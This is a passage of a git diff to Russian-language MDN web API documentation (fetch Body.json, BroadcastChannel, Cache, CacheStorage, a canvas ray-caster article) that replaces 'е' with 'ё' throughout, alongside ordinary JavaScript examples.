+<p>Когда функция <code>getData()</code> заканчивает своё выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p> <pre class="brush: js">function getData() { source = audioCtx.createBufferSource(); diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html index 47b40dee49..76811b032b 100644 --- a/files/ru/web/api/body/json/index.html +++ b/files/ru/web/api/body/json/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Body/json --- <div>{{APIRef("Fetch")}}</div> -<p>Метод <strong><code>json()</code></strong> , определен на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p> +<p>Метод <strong><code>json()</code></strong> , определён на миксине {{domxref("Body")}}, который включён в объектах <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Request</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Response</code></a>, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -27,7 +27,7 @@ translation_of: Web/API/Body/json <h2 id="Пример">Пример</h2> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p> +<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json примере</a> (запустите <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), мы создаём новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения <code>.json</code> файла. Когда fetch запрос будет выполнен, мы прочтём и спарсим данные, используя <code>json()</code>, а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.</p> <pre class="brush: js">var myList = document.querySelector('ul'); @@ -64,7 +64,7 @@ fetch(myRequest) <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, пожалуйста пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("api.Body.json")}}</p> diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html index b898960fe3..1f3a792ce0 100644 --- a/files/ru/web/api/broadcastchannel/index.html +++ b/files/ru/web/api/broadcastchannel/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel <dl> <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt> - <dd>Создает объект, связанный с именованным каналом.</dd> + <dd>Создаёт объект, связанный с именованным каналом.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -27,7 +27,7 @@ translation_of: Web/API/BroadcastChannel <h3 id="Обработчики_событий">Обработчики событий</h3> </dt> <dt>{{domxref("BroadcastChannel.onmessage")}}</dt> - <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.</dd> + <dd>{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдёт вызов события {{event("message")}} на этом объекте.</dd> <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt> <dd>{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.</dd> </dl> diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index abbb139478..39bf32b534 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel/postMessage --- <p>{{APIRef("BroadCastChannel API")}}</p> -<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p> +<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передаётся в виде события {{event("message")}} к каждому <code>BroadcastChannel</code>, привязанному к данному каналу.</p> <p>{{AvailableInWorkers}}</p> diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html index fd32f46b8c..ae88c76901 100644 --- a/files/ru/web/api/cache/add/index.html +++ b/files/ru/web/api/cache/add/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Cache/add <p>Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.</p> <div class="note"> -<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.</p> +<p><strong>Замечание</strong>: <code>add()</code> перезапишет любую пару ключ/значение, сохранённую ранее в кеше, соответствующем запросу.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html index 094912bdeb..d72262f99d 100644 --- a/files/ru/web/api/cache/addall/index.html +++ b/files/ru/web/api/cache/addall/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Cache/addAll </div> <div class="note"> -<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.</p> +<p><strong>Замечание</strong>: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа ещё формируется.</p> </div> <div class="note"> diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html index 5efa82b44a..846ccc2a0c 100644 --- a/files/ru/web/api/cache/delete/index.html +++ b/files/ru/web/api/cache/delete/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/Cache/delete <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url. Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении ключей. По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>. Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.delete()</code>.</li> </ul> </dd> </dl> diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html index 53bfe013d4..dc5d273133 100644 --- a/files/ru/web/api/cache/index.html +++ b/files/ru/web/api/cache/index.html @@ -5,18 +5,18 @@ translation_of: Web/API/Cache --- <p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p> -<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.</p> +<p>Интерфейс <strong><code>Cache</code></strong> представляет собой механизм хранения пары объектов <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code> / <code><a href="http://fetch.spec.whatwg.org/#response">Response</a>,</code> которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определён в их спецификации.</p> -<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p> +<p>Для вызывающего скрипта может быть множество именованных объектов <code>Cache</code>. Разработчик сам определяет реализацию того, как скрипт (например, в {{domxref("ServiceWorker")}}) управляет обновлением <code>Cache</code>. Записи в <code>Cache</code> не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечёт до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определённый именованный объект <code>Cache </code>и затем вызывайте любые методы<code> Cache </code>для управления его состоянием.</p> -<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p> +<p>Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жёсткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Удаление старого кеша</a>.</p> <div class="note"> <p><strong>Замечание</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только <code>GET</code> запросов.</p> </div> <div class="note"> -<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.</p> +<p><strong>Замечание</strong>: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все ещё загружается в потоке.</p> </div> <div class="note"> @@ -47,7 +47,7 @@ translation_of: Web/API/Cache <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt> <dd>Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае нахождения, удаляет запись {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением <code>true</code>. Если же запись {{domxref("Cache")}} не найдена, возвращается <code>false</code>.</dd> <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который отдаёт массив ключей {{domxref("Cache")}}.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -56,9 +56,9 @@ translation_of: Web/API/Cache <p>Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.</p> -<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.</p> +<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой (например, 404) не будет вызывать исключения. Будет возвращён нормальный объект ответа с установленным соответствующим кодом ошибки.</p> -<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p> +<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращённый идентификатор кеша с определённым, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p> <p>В примере кода "кеш" это атрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к <a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage">CacheStorage</a> API.</p> @@ -66,7 +66,7 @@ translation_of: Web/API/Cache <pre class="brush: js">var CACHE_VERSION = 1; -// Сокращенный идентификатор привязанный к определенной версии кеша. +// Сокращённый идентификатор привязанный к определённой версии кеша. var CURRENT_CACHES = { font: 'font-cache-v' + CACHE_VERSION }; diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html index 0ae385d424..aa09fb7642 100644 --- a/files/ru/web/api/cache/keys/index.html +++ b/files/ru/web/api/cache/keys/index.html @@ -28,14 +28,14 @@ translation_of: Web/API/Cache/keys <dl> <dt>request {{optional_inline}}</dt> - <dd>{{domxref("Request")}} который будет возвращен, если найден указанный ключ.</dd> + <dd>{{domxref("Request")}} который будет возвращён, если найден указанный ключ.</dd> <dt>options {{optional_inline}}</dt> <dd>Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции <code>keys</code>. Допустимые параметры: <ul> <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url. Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении. По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>. Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li> </ul> </dd> </dl> diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html index a487987497..ae0b0783bd 100644 --- a/files/ru/web/api/cache/match/index.html +++ b/files/ru/web/api/cache/match/index.html @@ -28,12 +28,12 @@ translation_of: Web/API/Cache/match <dt>request</dt> <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd> <dt>options {{optional_inline}}</dt> - <dd>Объект, который задает параметры для операции <code>match</code>. Допустимые значения: + <dd>Объект, который задаёт параметры для операции <code>match</code>. Допустимые значения: <ul> <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url. Например, если оно установлено в <code>true, часть</code> <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при поиске соответствий ключа. По умолчанию равно <code>false</code>.</li> <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку <code>http</code> метода для запроса {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь <code>GET</code> и <code>HEAD</code>). По умолчанию равно <code>false</code>.</li> <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда установлено в <code>true,</code> указывает операции сопоставления ключа не проводить проверку соответствия заголовка <code>VARY</code> — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок <code>VARY</code>. По умолчанию равно <code>false</code>.</li> - <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом <code>Cache.match()</code>.</li> + <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определённый кеш для поиска. Заметьте, что этот параметр игнорируется методом <code>Cache.match()</code>.</li> </ul> <p>В Chrome поддерживается лишь <code>cacheName</code>.</p> diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html index 49d37cd9cd..98471205c0 100644 --- a/files/ru/web/api/cachestorage/index.html +++ b/files/ru/web/api/cachestorage/index.html @@ -15,36 +15,36 @@ translation_of: Web/API/CacheStorage --- <p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p> -<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.</p> +<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имён соответствующих объектов {{domxref("Cache")}}.</p> <p><code>CacheStorage</code> также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом <code>CacheStorage</code>.</p> <p>Вы можете получить доступ к <code>CacheStorage</code> через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.</p> -<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div> +<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадёжных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div> -<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div> +<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путём открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div> <h2 id="Методы">Методы</h2> <dl> <dt>{{domxref("CacheStorage.match()")}}</dt> - <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.</dd> + <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдёт совпадение.</dd> <dt>{{domxref("CacheStorage.has()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернёт <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd> <dt>{{domxref("CacheStorage.open()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd> + <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдёт необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd> <dt>{{domxref("CacheStorage.delete()")}}</dt> - <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдет, то возвращается <code>false</code>.</dd> + <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдёт, то возвращается <code>false</code>.</dd> <dt>{{domxref("CacheStorage.keys()")}}</dt> - <dd>Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd> + <dd>Возвращает {{jsxref("Promise")}}, который вернёт массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd> </dl> <h2 id="Примеры">Примеры</h2> <p>Фрагмент кода взят с MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (смотри <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.</p> -<p>Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:</p> +<p>Во втором блоке кода мы ждём запуска события {{domxref("FetchEvent")}}. Мы создаём встроенный ответ:</p> <ol> <li>Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.</li> diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html index 4f0922351f..d7afa0bf65 100644 --- a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html +++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html @@ -15,19 +15,19 @@ translation_of: Web/API/Canvas_API/A_basic_ray-caster <p>Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <code><canvas></code> о котором я <a href="https://www.whatwg.org/specs/web-apps/current-work/#dynamic">читал</a>, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.</p> -<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p> +<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашёл в MDN, но никто ещё не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p> <h2 id="How.3F" name="How.3F">Как?</h2> -<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберется до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p> +<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберётся до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p> -<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездействуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p> +<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчёты и останавливается если вы бездействуете. Получив расчёты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более тёмной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p> -<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.</p> +<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашёл в интернете, отфильтровал, переименовал, и внёс все 